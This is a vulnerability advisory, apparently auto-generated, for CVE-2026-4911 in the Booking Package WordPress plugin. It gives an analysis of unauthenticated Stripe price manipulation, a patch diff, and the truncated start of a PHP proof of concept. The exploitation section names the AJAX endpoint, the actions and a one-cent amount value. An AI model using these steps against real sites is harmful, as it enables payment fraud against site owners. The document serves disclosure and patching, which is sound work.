Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 27, 2026

CVE-2026-4911: Booking Package <= 1.7.06 – Unauthenticated Price Manipulation via 'amount' Parameter (booking-package)

CVE ID CVE-2026-4911
Severity Medium (CVSS 5.3)
CWE 472
Vulnerable Version 1.7.06
Patched Version 1.7.08
Disclosed April 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4911:

This vulnerability allows unauthenticated attackers to manipulate the payment amount for Stripe transactions in the Booking Package plugin for WordPress (versions up to 1.7.06). The plugin’s PaymentIntent creation functions pass user-controlled ‘amount’ directly to the Stripe API without server-side validation, and the server-calculated amount is never used to update the PaymentIntent before confirmation. This means an attacker can book any service at a price they choose (e.g., $0.01).

Root Cause: The vulnerability stems from how the plugin handles Stripe PaymentIntent creation and confirmation. In Schedule.php, the functions intentForStripe(), intentForStripeExpressCheckout(), intentForStripePayPay(), and intentForStripeKonbini() all accepted $_POST[‘amount’] directly and passed it to the CreditCard class’s corresponding methods without any server-side validation. The server’s getAmount() function correctly calculates the booking cost based on services, guests, taxes, and coupons, but this calculated value was never used to update the PaymentIntent. The critical code in CreditCard.php that would include the calculated amount in the PaymentIntent update was commented out. Functions called via AJAX (in the ‘schedule’ AJAX handler) processed these payment intents with the unvalidated user input.

Exploitation: An unauthenticated attacker can exploit this by sending a POST request to /wp-admin/admin-ajax.php with the ‘action’ parameter set to ‘schedule’ and a custom action like ‘intentForStripe’ (or any of the four vulnerable intent functions). The attacker provides a manipulated ‘amount’ value (e.g., 1 for $0.01) in cents. The plugin then creates a Stripe PaymentIntent with this user-supplied amount. Since the server does not validate or override this amount before confirming the payment, the attacker can complete the booking at the fraudulent price.

Patch Analysis: The patch introduces a new function getVerifyAmountForStripePayments() in Schedule.php that recalculates the legitimate amount using the same server-side logic (getAmount()) that was already present but unused. It compares the user-supplied ‘amount’ against this server-calculated amount. Only if they match (and are non-zero) does it proceed with creating the PaymentIntent. The four vulnerable intent functions now call getVerifyAmountForStripePayments() first, and if the amounts don’t match, they return a failure status. The patch also removes the commented-out code in CreditCard.php that would have updated the PaymentIntent, as the validation now happens before PaymentIntent creation.

Impact: Successful exploitation allows an unauthenticated attacker to book any service offered through the Booking Package plugin at a price they specify, including extremely low amounts like $0.01. This can lead to significant financial losses for the site owner as services are effectively given away for free. The attacker does not need any authentication or special privileges to exploit this vulnerability.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/booking-package/index.php
+++ b/booking-package/index.php
@@ -3,7 +3,7 @@
 Plugin Name: Booking Package SAASPROJECT
 Plugin URI:  https://saasproject.net/plans/
 Description: Booking Package is a high-performance booking calendar system that anyone can easily use.
-Version:     1.7.06
+Version:     1.7.08
 Author:      SAASPROJECT Booking Package
 Author URI:  https://saasproject.net/
 License:     GPL2
@@ -1123,8 +1123,6 @@

 			}

-
-
 			$deleteKeys = array("googleCalendarID", "idForGoogleWebhook", "expirationForGoogleWebhook", "ical", "icalToken", "email_from", "email_from_title", "email_to", "email_to_title");
 			for ($i = 0; $i < count($deleteKeys); $i++) {

@@ -1671,8 +1669,9 @@

 				if ($paymentMethod[$i] == 'stripe' || $paymentMethod[$i] == 'stripe_konbini' || $paymentMethod[$i] == 'stripe_paypay') {

-					$stripe_public_key = get_option($this->prefix."stripe_public_key", null);
-					if (!empty($stripe_public_key)) {
+					$stripe_active = get_option($this->prefix . 'stripe_active', 0);
+					$stripe_public_key = get_option($this->prefix . "stripe_public_key", null);
+					if (!empty($stripe_public_key) && intval($stripe_active) === 1) {

 						array_push($new_paymentMethod, $paymentMethod[$i]);
 						$localize_script['stripe_active'] = 1;
@@ -1687,7 +1686,7 @@

 				} else if ($paymentMethod[$i] == 'paypal') {

-					$paypal_public_key = get_option($this->prefix."paypal_client_id", null);
+					$paypal_public_key = get_option($this->prefix . "paypal_client_id", null);
 					if (!empty($paypal_public_key)) {

 						$localePayPal = 'locale=en_US';
@@ -1726,6 +1725,8 @@

 			}

+
+
 			if (count($new_paymentMethod) == 0) {

 				$new_paymentMethod = array('locally');
@@ -1770,6 +1771,16 @@
 			}

 			$html = '<div id="booking-package-locale-' . $this->locale . '" class="start_booking_package' . $widgetClass . '" data-ID="' . $accountKey . '">';
+
+			if (is_ssl() === false && $localize_script['stripe_active'] === 1) {
+
+				$localize_script['stripe_active'] = 0;
+				unset($localize_script['stripe_public_key']);
+				$html .= '<div class="booking_package_nonce_error">An SSL connection is required to use Stripe payments.</div>';
+
+			}
+
+
 			$html .= '<div id="booking_package_json_format_error_panel" class="hidden_panel"><p></p><p></p></div>';
 			$html .= '<div id="booking_package_nonce_error_panel" class="booking_package_nonce_error hidden_panel"><p>' . sprintf($nonce_error_message, '<b>' . __('Select the URL for AJAX on the public page', 'booking-package') . '</b>', '<b>' . __('Select a function to validate the value of a nonce with AJAX on the public page', 'booking-package') . '</b>') . '</p></div>';
 			$html .= '<div id="booking-package-id-' . $accountKey . '" class="">';
@@ -5994,6 +6005,20 @@
 				'content' => $content,
 			));

+			$content = $document->reminderNotificationTime();
+			$screen->add_help_tab(array(
+				'id' => $this->plugin_name . 'reminderNotificationTime',
+				'title' => __('Dynamic Override of Reminder Notification Time', 'booking-package'),
+				'content' => $content,
+			));
+
+			$content = $document->cancellationLimitTime();
+			$screen->add_help_tab(array(
+				'id' => $this->plugin_name . 'cancellationLimitTime',
+				'title' => __('Dynamic Override of Cancellation Limit Time', 'booking-package'),
+				'content' => $content,
+			));
+
 			$content = $document->videos();
 			$screen->add_help_tab(array(
 				'id'    => $this->plugin_name . 'videos',
@@ -6896,7 +6921,6 @@
 				$dictionary['Please enable the "%s" item in the "Settings" tab.'] = __('Please enable the "%s" item in the "Settings" tab.', 'booking-package');
 				$dictionary['Despite having valid items, the functionality of "%s" is disabled.'] = __('Despite having valid items, the functionality of "%s" is disabled.', 'booking-package');
 				$dictionary["If you choose Select, Check, or Radio for the '%s' field, you need to add values to the '%s' field."] = __("If you choose Select, Check, or Radio for the '%s' field, you need to add values to the '%s' field.", 'booking-package');
-				$dictionary['Count Total Guests Toward Availability'] = __("Count Total Guests Toward Availability", 'booking-package');

 			} else if ($mode == "setting_page") {

--- a/booking-package/lib/Documents.php
+++ b/booking-package/lib/Documents.php
@@ -17,6 +17,118 @@

         }

+        public function cancellationLimitTime() {
+
+$document = <<<EOF
+
+<div>
+    <h2>Dynamic Override of Cancellation Limit Time (Filter Hook)</h2>
+    <div>
+        The cancellation limit time configured in the Calendar Account ("Allow Cancellation Up To") can be dynamically overridden using the <code>booking_package_override_cancellation_limit_time</code> filter hook.
+        <b>Please note that this hook is only executed when the "Allow Customer Cancellations" option is set to "Enabled" within the Calendar Account settings tab.</b>
+        This allows you to set highly specific cancellation deadlines down to the minute.
+    </div>
+    <strong style="font-size: 1.2em;">Filter Hook Details</strong>
+    <ul><li>Hook Name: <code>booking_package_override_cancellation_limit_time</code></li></ul>
+    <strong style="font-size: 1.2em;">Parameters</strong>
+    <ol>
+        <li><b>$current_cancellation_limit_time</b> (int) (Target for modification) The current cancellation limit time in minutes retrieved from the calendar settings.</li>
+        <li><b>$calendar_account_id</b> (int) The ID of the calendar account associated with this reminder.</li>
+    </ol>
+    <div>
+        <strong style="font-size: 1.2em;">Important:</strong> The return value <b>must be an integer (<code>int</code>) of <code>1</code> or greater</b>. If <code>0</code> or a non-numeric value is returned, the system will fall back to the original setting configured in the Calendar Account. It represents the number of minutes before the booking time that cancellations are allowed. There are no restrictions on the intervals, allowing you to specify exact times in 1-minute increments. For example:
+        <ul>
+            <li><code>15</code> (15 minutes prior)</li>
+            <li><code>105</code> (1 hour and 45 minutes prior)</li>
+            <li><code>150</code> (2 hour and 30 minutes prior)</li>
+        </ul>
+    </div>
+
+    <strong style="font-size: 1.2em;">Usage Example</strong>
+    <div>This is a sample code that overrides the default cancellation limit time, allowing customers to cancel up to 90 minutes (1.5 hours) before their booking specifically when the Calendar Account ID is <code>5</code>. For all other calendars, it returns <code>0</code> to keep their default settings.</div>
+    <br>
+    <code>/**<br>
+    * Customize Booking Package text based on calendar and language<br>
+    * <br>
+    * @param int $current_cancellation_limit_time Current time in minutes<br>
+    * @param int $calendar_account_id Calendar Account ID<br>
+    * @return int Modified time in minutes<br>
+    */<br>
+
+    function my_custom_cancellation_time( $current_reminder_notification_time, $calendar_account_id ) {<br>
+        // Check if the target is Calendar Account ID 5<br>
+        if ( $calendar_account_id === 5 ) {<br>
+            // Override the limit time to 90 minutes.<br>
+            return 90;<br>
+        }<br>
+        // Return 0 (or $current_cancellation_limit_time) to use the original setting<br>
+        return 0;<br>
+    }<br>
+    add_filter( 'booking_package_override_cancellation_limit_time', 'my_custom_cancellation_time', 10, 1 );<br>
+
+    </code>
+
+</div>
+
+EOF;
+
+            return $document;
+
+        }
+
+        public function reminderNotificationTime() {
+
+$document = <<<EOF
+
+<div>
+    <h2>Dynamic Override of Reminder Notification Time (Filter Hook)</h2>
+    <div>The reminder notification time configured in the Calendar Account can be dynamically overridden during the email sending process using the <code>booking_package_override_reminder_notification_time</code> filter hook. This allows you to set custom timing intervals that are not available in the default select box.</div>
+    <strong style="font-size: 1.2em;">Filter Hook Details</strong>
+    <ul><li>Hook Name: <code>booking_package_override_reminder_notification_time</code></li></ul>
+    <strong style="font-size: 1.2em;">Parameters</strong>
+    <ol>
+        <li><b>$current_reminder_notification_time</b> (int) (Target for modification) The current notification time in minutes retrieved from the calendar settings.</li>
+        <li><b>$calendar_account_id</b> (int) The ID of the calendar account associated with this reminder.</li>
+    </ol>
+    <div>
+        <strong style="font-size: 1.2em;">Important:</strong> The return value <b>must be an integer (<code>int</code>) of <code>60</code> or greater</b>. It must be specified in minutes and should be provided in 60-minute increments. For example:
+        <ul>
+            <li><code>60</code> (1 hour prior)</li>
+            <li><code>6120</code> (102 hours / 4 days and 6 hours prior)</li>
+            <li><code>10800</code> (180 hours / 7 days and 12 hours prior)</li>
+        </ul>
+    </div>
+
+    <strong style="font-size: 1.2em;">Usage Example</strong>
+    <div>This is a sample code that overrides the default reminder notification time and sets it to be sent 4 days and 6 hours (6120 minutes) before the booking.</div>
+    <br>
+    <code>/**<br>
+    * Customize Booking Package text based on calendar and language<br>
+    * <br>
+    * @param int $current_reminder_notification_time Current time in minutes<br>
+    * @param int $calendar_account_id Calendar Account ID<br
+    * @return int Modified time in minutes<br>
+    */<br>
+
+    function my_custom_reminder_time( $current_reminder_notification_time, $calendar_account_id ) {<br>
+        if ( $calendar_account_id === 5 ) {<br>
+            // Override the notification time to 6120 minutes (4 days and 6 hours). <br>
+            // The value must be an integer of 60 or greater.<br>
+            return 6120;<br>
+        }<br>
+    }<br>
+    add_filter( 'booking_package_override_reminder_notification_time', 'my_custom_reminder_time', 10, 1 );<br>
+
+    </code>
+
+</div>
+
+EOF;
+
+            return $document;
+
+        }
+
         public function dynamicTextModification() {

 $document = <<<EOF
--- a/booking-package/lib/Schedule.php
+++ b/booking-package/lib/Schedule.php
@@ -3549,7 +3549,7 @@
 			$wpdb->insert(
 				$table_name,
 				array(
-					'name' => sanitize_text_field($_POST['name']),
+					'name' => sanitize_text_field( wp_unslash( $_POST['name'] ) ),
 					'type' => sanitize_text_field($_POST['type']),
 					'status' => sanitize_text_field($_POST['status']),
 					'courseTitle' => sanitize_text_field( __('Service', 'booking-package') ),
@@ -3593,7 +3593,7 @@
 					'paymentMethod' => sanitize_text_field($_POST['paymentMethod']),
 					'email_from' => sanitize_text_field(trim($_POST['email_from'])),
 					'email_to' => sanitize_text_field(trim($_POST['email_to'])),
-					'email_from_title' => sanitize_text_field(trim($_POST['email_from_title'])),
+					'email_from_title' => sanitize_text_field( wp_unslash( trim( $_POST['email_from_title'] ) ) ),
 					'servicesPage' => $_POST['servicesPage'],
 					'calenarPage' => $_POST['calenarPage'],
 					'schedulesPage' => $_POST['schedulesPage'],
@@ -3994,7 +3994,7 @@
 				$bool = $wpdb->update(
 					$table_name,
 					array(
-						'name' => sanitize_text_field($_POST['name']),
+						'name' => sanitize_text_field( wp_unslash( $_POST['name'] ) ),
 						'status' => sanitize_text_field($_POST['status']),
 						'courseTitle' => sanitize_text_field( __('Service', 'booking-package') ),
 						'courseBool' => intval($_POST['courseBool']),
@@ -4035,7 +4035,7 @@
 						'paymentMethod' => sanitize_text_field($_POST['paymentMethod']),
 						'email_from' => sanitize_text_field(trim($_POST['email_from'])),
 						'email_to' => sanitize_text_field(trim($_POST['email_to'])),
-						'email_from_title' => sanitize_text_field(trim($_POST['email_from_title'])),
+						'email_from_title' => sanitize_text_field( wp_unslash( trim( $_POST['email_from_title'] ) ) ),
 						'servicesPage' => $_POST['servicesPage'],
 						'calenarPage' => $_POST['calenarPage'],
 						'schedulesPage' => $_POST['schedulesPage'],
@@ -8799,14 +8799,19 @@

     	}

-    	public function getTaxesDetailsForVisitor($bookingID, $applicantCount, $totalCost) {
+    	public function getTaxesDetailsForVisitor($bookingID, $applicantCount, $taxes, $totalCost) {

     		global $wpdb;
-    		$taxes = array();
-    		$table_name = $wpdb->prefix . "booking_package_booked_customers";
-			$sql = $wpdb->prepare("SELECT `taxes` FROM " . $table_name . " WHERE `key` = %d;", array(intval($bookingID)));
-			$row = $wpdb->get_row($sql, ARRAY_A);
-			$taxes = json_decode($row['taxes'], true);
+    		if ($bookingID !== null) {
+
+    			$taxes = array();
+	    		$table_name = $wpdb->prefix . "booking_package_booked_customers";
+				$sql = $wpdb->prepare("SELECT `taxes` FROM " . $table_name . " WHERE `key` = %d;", array(intval($bookingID)));
+				$row = $wpdb->get_row($sql, ARRAY_A);
+				$taxes = json_decode($row['taxes'], true);
+
+    		}
+

 			usort($taxes, function ($a, $b) {

@@ -8942,55 +8947,218 @@
 		public function intentForStripe() {

 			global $wpdb;
-			$currency = get_option($this->prefix . "currency", 'usd');
-			$secret_key = get_option($this->prefix . "stripe_secret_key", null);
-			$creditCard = new booking_package_CreditCard($this->pluginName, $this->prefix);
-			$response = $creditCard->intentForStripe($secret_key, $_POST['amount'], $currency);
-			return $response;
+			$verifyAmount = $this->getVerifyAmountForStripePayments($_POST['amount']);
+			if ($verifyAmount !== false && $verifyAmount !== 0) {
+
+				$currency = get_option($this->prefix . "currency", 'usd');
+				$secret_key = get_option($this->prefix . "stripe_secret_key", null);
+				$creditCard = new booking_package_CreditCard($this->pluginName, $this->prefix);
+				$response = $creditCard->intentForStripe($secret_key, $verifyAmount, $currency);
+				return $response;
+
+			}
+
+			return array('status' => false);

 		}

 		public function intentForStripeExpressCheckout() {

 			global $wpdb;
-			$currency = get_option($this->prefix . "currency", 'usd');
-			$secret_key = get_option($this->prefix . "stripe_secret_key", null);
-			$creditCard = new booking_package_CreditCard($this->pluginName, $this->prefix);
-			$response = $creditCard->intentForStripeExpressCheckout($secret_key, $_POST['amount'], $currency);
-			return $response;
+			$verifyAmount = $this->getVerifyAmountForStripePayments($_POST['amount']);
+			if ($verifyAmount !== false && $verifyAmount !== 0) {
+
+				$currency = get_option($this->prefix . "currency", 'usd');
+				$secret_key = get_option($this->prefix . "stripe_secret_key", null);
+				$creditCard = new booking_package_CreditCard($this->pluginName, $this->prefix);
+				$response = $creditCard->intentForStripeExpressCheckout($secret_key, $verifyAmount, $currency);
+				return $response;
+
+			}
+
+			return array('status' => false);

 		}

 		public function intentForStripePayPay() {

 			global $wpdb;
-			$currency = get_option($this->prefix . "currency", 'jpy');
-			$secret_key = get_option($this->prefix . "stripe_secret_key", null);
-			$creditCard = new booking_package_CreditCard($this->pluginName, $this->prefix);
-			$response = $creditCard->intentForStripePayPay($secret_key, $_POST['amount'], $currency);
-			return $response;
+			$verifyAmount = $this->getVerifyAmountForStripePayments($_POST['amount']);
+			if ($verifyAmount !== false && $verifyAmount !== 0) {
+
+				$currency = get_option($this->prefix . "currency", 'jpy');
+				$secret_key = get_option($this->prefix . "stripe_secret_key", null);
+				$creditCard = new booking_package_CreditCard($this->pluginName, $this->prefix);
+				$response = $creditCard->intentForStripePayPay($secret_key, $verifyAmount, $currency);
+				return $response;
+
+			}
+
+			return array('status' => false);

 		}

 		public function intentForStripeKonbini() {

 			global $wpdb;
-			$currency = get_option($this->prefix . "currency", 'jpy');
-			$secret_key = get_option($this->prefix . "stripe_secret_key", null);
-			$expiresDate = date('U') + (intval(get_option($this->prefix . "stripe_konbini_expiration_date", 1440)) * 60);
-			$creditCard = new booking_package_CreditCard($this->pluginName, $this->prefix);
-			$response = $creditCard->intentForStripeKonbini($secret_key, $_POST['amount'], $currency, $expiresDate);
-			return $response;
+			$verifyAmount = $this->getVerifyAmountForStripePayments($_POST['amount']);
+			if ($verifyAmount !== false && $verifyAmount !== 0) {
+
+				$currency = get_option($this->prefix . "currency", 'jpy');
+				$secret_key = get_option($this->prefix . "stripe_secret_key", null);
+				$expiresDate = date('U') + (intval(get_option($this->prefix . "stripe_konbini_expiration_date", 1440)) * 60);
+				$creditCard = new booking_package_CreditCard($this->pluginName, $this->prefix);
+				$response = $creditCard->intentForStripeKonbini($secret_key, $verifyAmount, $currency, $expiresDate);
+				return $response;
+
+			}
+
+			return array('status' => false);

 		}

-		public function updateIntentForStripe() {
+		public function getVerifyAmountForStripePayments($amount) {

 			global $wpdb;
-			$secret_key = get_option($this->prefix . "stripe_secret_key", null);
-			$creditCard = new booking_package_CreditCard($this->pluginName, $this->prefix);
-			$response = $creditCard->updateIntentForStripe($secret_key, $_POST['amount'], $_POST['id']);
-			return $response;
+			$verifyAmount = 0;
+			$coupon = null;
+			$services = array();
+			$responseGuests = array();
+			$guests = array();
+			$applicantCount = intval($_POST['applicantCount']);
+			$reflectServiceCount = 1;
+			$reflectAdditionalCount = 1;
+			$accountKey = 1;
+			$accountCalendarKey = 1;
+			if (isset($_POST['accountKey'])) {
+
+				$accountKey = intval($_POST['accountKey']);
+				$accountCalendarKey = intval($_POST['accountKey']);
+
+			}
+
+			$calendarAccount = $this->getCalendarAccount($accountKey);
+
+			$table_name = $wpdb->prefix . "booking_package_schedules";
+    		$sql = $wpdb->prepare(
+    			"SELECT *, `unixTime` - (`deadlineTime` * 60) as `unixTimeDeadline` FROM `".$table_name."` WHERE `key` = %d AND `status` = 'open';",
+    			array(intval($_POST['timeKey']))
+    		);
+    		$row = $wpdb->get_row($sql, ARRAY_A);
+			if (is_null($row)) {
+
+				return false;
+
+			} else {
+
+				$sql_start_unixTime = $row['unixTime'];
+				$bookingYMD = intval($row['year'] . sprintf('%02d%02d', $row['month'], $row['day']));
+				if ($calendarAccount['type'] == "hotel" && isset($_POST['json'])) {
+
+					$accommodationDetails = $this->createAccommodationDetails($accountKey, $accountCalendarKey, $_POST['json'], $sql_start_unixTime, $applicantCount, 'book', null);
+					if (isset($accommodationDetails['status']) && $accommodationDetails['status'] == "error") {
+
+						return false;
+
+					}
+					$verifyAmount = $this->getAmount(null, $calendarAccount, $accommodationDetails, null, null, null, null);
+
+				} else {
+
+					if (isset($_POST['couponID'])) {
+
+						$couponResponse = $this->serachCoupons($row['unixTime'], $_POST['couponID'], $accountKey);
+						if (intval($couponResponse['status']) == 1) {
+
+							$coupon = $couponResponse['coupon'];
+
+						}
+
+					}
+
+					if (isset($_POST['guests']) && intval($calendarAccount['guestsBool']) == 1) {
+
+						$responseGuests = $this->getSelectedGuests($calendarAccount, $_POST['guests'] );
+						$guests = $responseGuests['guests'];
+
+					}
+
+					if (isset($_POST['courseKey']) || isset($_POST['selectedCourseList'])) {
+
+						#$servicesDetails = $this->getSelectedServices($calendarAccount, $_POST['selectedCourseList'], $responseGuests['guests'], "selectedOptionsList", $coupon, $applicantCount);
+						$servicesDetails = $this->getSelectedServices($calendarAccount, $_POST['selectedCourseList'], $guests, "selectedOptionsList", $coupon, $reflectServiceCount);
+						$services = $servicesDetails['object'];
+
+					}
+
+					$taxes = $this->createTaxesDetails($accountKey, 'day', $verifyAmount, $bookingYMD, $applicantCount, null);
+					$verifyAmount = $this->getAmount(null, $calendarAccount, array(), $services, $responseGuests, $taxes, $coupon);
+
+					/**
+					if ($responseGuests['isGuests'] === true) {
+
+						$guests = $responseGuests['guests'];
+						$applicantCount = $responseGuests['applicantCount'];
+						$reflectServiceCount = $responseGuests['reflectService'];
+						$reflectAdditionalCount = $responseGuests['reflectAdditional'];
+						if ($applicantCount == 0) {
+
+							$applicantCount = 1;
+
+						}
+
+						$verifyAmount += $this->getSelectedGuestTotalAmount($calendarAccount, $responseGuests['guests'], true);
+
+					}
+
+
+					if (isset($_POST['courseKey']) || isset($_POST['selectedCourseList'])) {
+
+						$servicesDetails = $this->getSelectedServices($calendarAccount, $_POST['selectedCourseList'], $guests, "selectedOptionsList", $coupon, $reflectServiceCount);
+						$verifyAmount += intval($servicesDetails['cost']);
+						$services = $servicesDetails['object'];
+						foreach ((array) $services as $key => $service) {
+
+							$row = $this->serachCourse($accountKey, $_POST['timeKey'], $service['key'], $servicesDetails, $bookingYMD);
+							if (isset($row['status']) && $row['status'] == 'error') {
+
+								return false;
+
+							}
+
+						}
+
+					}
+
+					$taxes = $this->createTaxesDetails($accountKey, 'day', $verifyAmount, $bookingYMD, $applicantCount, null);
+					for ($i = 0; $i < count($taxes); $i++) {
+
+						$tax = $taxes[$i];
+						if ($tax['type'] == 'tax' && $tax['tax'] == 'tax_exclusive') {
+
+							$verifyAmount += $tax['taxValue'];
+
+						} else if ($tax['type'] == 'surcharge') {
+
+							$verifyAmount += $tax['taxValue'] * $reflectAdditionalCount;
+
+						}
+
+					}
+					**/
+				}
+
+			}
+
+
+			#var_dump(intval($verifyAmount));
+			if (intval($verifyAmount) === intval($amount) && intval($verifyAmount) !== 0 && intval($amount) !== 0) {
+
+				return intval($verifyAmount);
+
+			}
+
+			return false;

 		}

@@ -10036,7 +10204,7 @@

 						$creditCard = new booking_package_CreditCard($this->pluginName, $this->prefix);
 						$currency = get_option($this->prefix."currency", "usd");
-						$amount = $this->getAmount($lastID, $calendarAccount, $accommodationDetails, $services, $responseGuests, $coupon);
+						$amount = $this->getAmount($lastID, $calendarAccount, $accommodationDetails, $services, $responseGuests, null, $coupon);
 						if (intval($payment_active) == 1 && !empty($secret_key)) {

 							$payResponse = $creditCard->pay($_POST['payType'], $stripe_konbini, $stripe_paypay, $public_key, $secret_key, $_POST['payToken'], $payment_live, $amount, $currency, $lastID, $visitorName, $visitorEmail, $visitorBookingDate);
@@ -11110,7 +11278,20 @@
 				$unixTime = date('U');
 				if ($isExtensionsValid === true) {

-					$unixTime = $unixTime + (intval($calendarAccount['allowCancellationVisitor']) * 60);
+					$current_cancellation_limit_time = intval($calendarAccount['allowCancellationVisitor']);
+					$cancellation_limit_time = apply_filters( 'booking_package_override_cancellation_limit_time', $current_cancellation_limit_time, intval($calendarAccount['key']) );
+					if ( !is_numeric($cancellation_limit_time) || $cancellation_limit_time <= 0 ) {
+
+					    $cancellation_limit_time = $current_cancellation_limit_time;
+
+					} else {
+
+					    $cancellation_limit_time = intval($cancellation_limit_time);
+
+					}
+
+					$unixTime = $unixTime + ($cancellation_limit_time * 60);
+					#$unixTime = $unixTime + (intval($calendarAccount['allowCancellationVisitor']) * 60);

 				} else {

@@ -12667,6 +12848,8 @@
 			$value = $email;
 			if (!is_null($title) && strlen($title) != 0) {

+				$title = stripslashes($title);
+				$title = wp_specialchars_decode($title, ENT_QUOTES);
 				$value = sprintf("%s <%s>", $title, $email);

 			}
@@ -13486,7 +13669,7 @@
     	}


-		public function getAmount($bookingID, $calendarAccount, $accommodationDetails, $services = null, $guests = null, $coupon = null) {
+		public function getAmount($bookingID, $calendarAccount, $accommodationDetails, $services = null, $guests = null, $taxes = null, $coupon = null) {

 			$amount = 0;
 			$reflectAdditional = 1;
@@ -13540,7 +13723,7 @@
 				$amount += $this->getSelectedGuestTotalAmount($calendarAccount, $guestsList, true);
 				$amount = $this->getDiscountCostByCoupon($coupon, $amount);

-				$taxes = $this->getTaxesDetailsForVisitor($bookingID, $reflectAdditional, $amount);
+				$taxes = $this->getTaxesDetailsForVisitor($bookingID, $reflectAdditional, $taxes, $amount);
 				for ($i = 0; $i < count($taxes); $i++) {

 					$tax = $taxes[$i];
@@ -13733,7 +13916,7 @@

 				}

-				$amount = $this->getAmount($bookingID, $calendarAccount, $accommodationDetails, $services, $guests, $coupon);
+				$amount = $this->getAmount($bookingID, $calendarAccount, $accommodationDetails, $services, $guests, null, $coupon);
 				$amount = $this->formatCost($amount, $currency);
 				$contents = str_replace('[totalPaymentAmount]', $amount, $contents);
 				$contents = str_replace('[totalAmount]', $amount, $contents);
@@ -13956,9 +14139,9 @@

 							#$details .= ' * ' . $reflectAdditionalTitle;
 							$details = $tax['name'] . ': ' . $reflectAdditionalTitle . ' * ' . $cost;
+							array_push($surchargesDetails, $details);

 						}
-						array_push($surchargesDetails, $details);

 					}

@@ -14963,7 +15146,19 @@
 				}

 				date_default_timezone_set($calendarAccount['timezone']);
-				$unixTime = date('U') + $calendarAccount['bookingReminder'] * 60;
+				$current_reminder_notification_time = intval($calendarAccount['bookingReminder']);
+				$reminder_notification_time = apply_filters( 'booking_package_override_reminder_notification_time', $current_reminder_notification_time, intval($calendarAccount['key']) );
+				if ( !is_numeric( $reminder_notification_time ) || $reminder_notification_time < 60 || $reminder_notification_time % 60 !== 0 ) {
+
+					$reminder_notification_time = $current_reminder_notification_time;
+
+				} else {
+
+					$reminder_notification_time = intval($reminder_notification_time);
+
+				}
+
+				$unixTime = date('U') + $reminder_notification_time * 60;
 				$month = date('m', $unixTime);
 				$day = date('d', $unixTime);
 				$year = date('Y', $unixTime);
--- a/booking-package/lib/Setting.php
+++ b/booking-package/lib/Setting.php
@@ -150,7 +150,7 @@
                 'required' => array('key' => 'required', 'name' => __('Required', 'booking-package'), 'value' => '0', 'inputLimit' => 1, 'inputType' => 'RADIO', 'valueList' => array(1 => __('Yes', 'booking-package'), 0 => __('No', 'booking-package')), 'target' => 'both'),
                 'costInServices' => array('key' => 'costInServices', 'name' => __('Applicable Price Level', 'booking-package'), 'value' => 'cost_1', 'inputLimit' => 1, 'inputType' => 'SELECT', 'valueList' => array('cost_1' => __(/**'Cost 1'**/ 'Base Price', 'booking-package'), 'cost_2' => sprintf(__('Price %s', 'booking-package'), '2'), 'cost_3' => sprintf(__('Price %s', 'booking-package'), '3'), 'cost_4' => sprintf(__('Price %s', 'booking-package'), '4'), 'cost_5' => sprintf(__('Price %s', 'booking-package'), '5'), 'cost_6' => sprintf(__('Price %s', 'booking-package'), '6')), 'target' => 'day'),
                 'target' => array('key' => 'target', 'name' => __('Target', 'booking-package'), 'value' => 'adult', 'inputLimit' => 1, 'inputType' => 'RADIO', 'valueList' => array('adult' => __('Adults', 'booking-package'), 'children' => __('Children', 'booking-package')), 'target' => 'hotel'),
-                'guestsInCapacity' => array('key' => 'guestsInCapacity', 'name' => __('Count Towards Availability Limit', 'booking-package'), 'value' => 'adult', 'inputLimit' => 1, 'inputType' => 'RADIO', 'valueList' => array('excluded' => __('Excluded', 'booking-package'), 'included' => __('Included', 'booking-package')), 'target' => 'day'),
+                'guestsInCapacity' => array('key' => 'guestsInCapacity', 'name' => __('Count Total Guests Toward Availability', 'booking-package'), 'value' => 'adult', 'inputLimit' => 1, 'inputType' => 'RADIO', 'valueList' => array('excluded' => __('Excluded', 'booking-package'), 'included' => __('Included', 'booking-package')), 'target' => 'day'),
                 'reflectService' => array('key' => 'reflectService', 'name' => __('Enable Quantity-Based Price Adjustment for Services', 'booking-package'), 'value' => 0, 'inputLimit' => 1, 'inputType' => 'RADIO', 'isExtensionsValid' => 1, 'valueList' => array(1 => __('Enabled', 'booking-package'), 0 => __('Disabled', 'booking-package')), 'target' => 'day'),
                 'reflectAdditional' => array('key' => 'reflectAdditional', 'name' => __('Enable Quantity-Based Price Adjustment for Extra Charges', 'booking-package'), 'value' => 0, 'inputLimit' => 1, 'inputType' => 'RADIO', 'isExtensionsValid' => 1, 'valueList' => array(1 => __('Enabled', 'booking-package'), 0 => __('Disabled', 'booking-package')), 'target' => 'day'),
                 'json' => array(

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4911 - Booking Package <= 1.7.06 - Unauthenticated Price Manipulation via 'amount' Parameter

/*
 * This proof of concept demonstrates price manipulation by sending a manipulated
 * 'amount' parameter during PaymentIntent creation for Stripe.
 *
 * The attacker sets the amount to 1 cent ($0.01) instead of the legitimate price.
 * Since the server does not validate the user-supplied amount against the actual
 * booking cost, the Stripe PaymentIntent is created with the fraudulent amount.
 *
 * To use: Set $target_url to the WordPress site URL, then run the script.
 * The script will attempt to create a fraudulent payment intent.
 */

// ===== CONFIGURATION =====
$target_url = 'http://example.com'; // Replace with target WordPress site URL
$action = 'schedule'; // AJAX action handler
